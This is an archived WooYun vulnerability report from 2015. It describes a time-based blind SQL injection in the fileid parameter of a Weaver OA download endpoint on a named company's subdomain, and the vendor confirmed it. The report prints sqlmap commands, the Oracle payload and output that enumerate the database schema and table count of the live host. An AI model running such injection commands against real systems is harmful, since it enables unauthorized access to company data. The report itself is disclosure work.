当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089976

漏洞标题:魔方某分站SQL注入

相关厂商:52mf.com.cn

漏洞作者: Coody

提交时间:2015-01-05 18:54

修复时间:2015-02-19 18:56

公开时间:2015-02-19 18:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:16

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-05: 细节已通知厂商并且等待厂商处理中
2015-01-06: 厂商已经确认,细节仅向厂商公开
2015-01-16: 细节向核心白帽子及相关领域专家公开
2015-01-26: 细节向普通白帽子公开
2015-02-05: 细节向实习白帽子公开
2015-02-19: 细节向公众公开

简要描述:

...SQL注入

详细说明:

0x01: 罗嗦两句
看到 @her0ma 提交的漏洞 WooYun: 魔方某系统SQL注入漏洞(员工帐号密码手到擒来)
漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞
为神马要忽略呢、百思不得解;
sql注入出现在站点:http://oa.52mf.cn/ 上,
可以参考我之前提交的通用型漏洞 WooYun: 泛微某系统通用型SQL注入(无需登录)
这里提出的意见是:①多看看厂商的漏洞补丁信息②Wooyun.org搜索[泛微]查看是否有最新的漏洞出现
0x02: 漏洞详情
问题链接:
http://oa.52mf.cn/weaver/weaver.email.FileDownloadLocation?fileid=32&download=1
问题参数:fileid
数据库:Oracle
爆出当前数据库名称

C:\Users\Administrator>sqlmap.py -u "http://oa.52mf.cn/weaver/weaver.email.FileD
ownloadLocation?fileid=32*&download=1" --dbms=oracle --current-db


sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: http://oa.52mf.cn:80/weaver/weaver.email.FileDownloadLocation?filei
d=32 AND 5729=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_U
SERS T4,ALL_USERS T5)&download=1
---
[21:22:59] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[21:22:59] [INFO] fetching current database
[21:22:59] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n]
[21:23:28] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
[21:23:42] [INFO] adjusting time delay to 2 seconds due to good response times
[21:23:52] [ERROR] invalid character detected. retrying..
[21:23:52] [WARNING] increasing time delay to 3 seconds
ECOLOGY
[21:27:31] [WARNING] on Oracle you'll need to use schema names for enumeration a
s the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle): 'ECOLOGY'
[21:27:31] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\oa.52mf.cn'


QQ图片20150104213643.jpg


爆出数据库“ECOLOGY”中所有的表名(因1394多张表,这里不一一列出,证明即可)

C:\Users\Administrator>sqlmap.py -u "http://oa.52mf.cn/weaver/weaver.email.FileD
ownloadLocation?fileid=32*&download=1" --dbms=oracle -D ECOLOGY --tables


sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: http://oa.52mf.cn:80/weaver/weaver.email.FileDownloadLocation?filei
d=32 AND 5729=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_U
SERS T4,ALL_USERS T5)&download=1
---
[21:34:43] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[21:34:43] [INFO] fetching tables for database: 'ECOLOGY'
[21:34:43] [INFO] fetching number of tables for database 'ECOLOGY'
[21:34:43] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
[21:34:53] [CRITICAL] considerable lagging has been detected in connection respo
nse(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or
more)
[21:34:53] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
1394
[21:37:10] [INFO] retrieved: BASE_F...


QQ图片20150104214116.jpg


不再深入…

漏洞证明:

修复方案:

版权声明:转载请注明来源 Coody@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-01-06 09:04

厂商回复:

我公司认领该漏洞,并在处理中。谢谢

最新状态:

暂无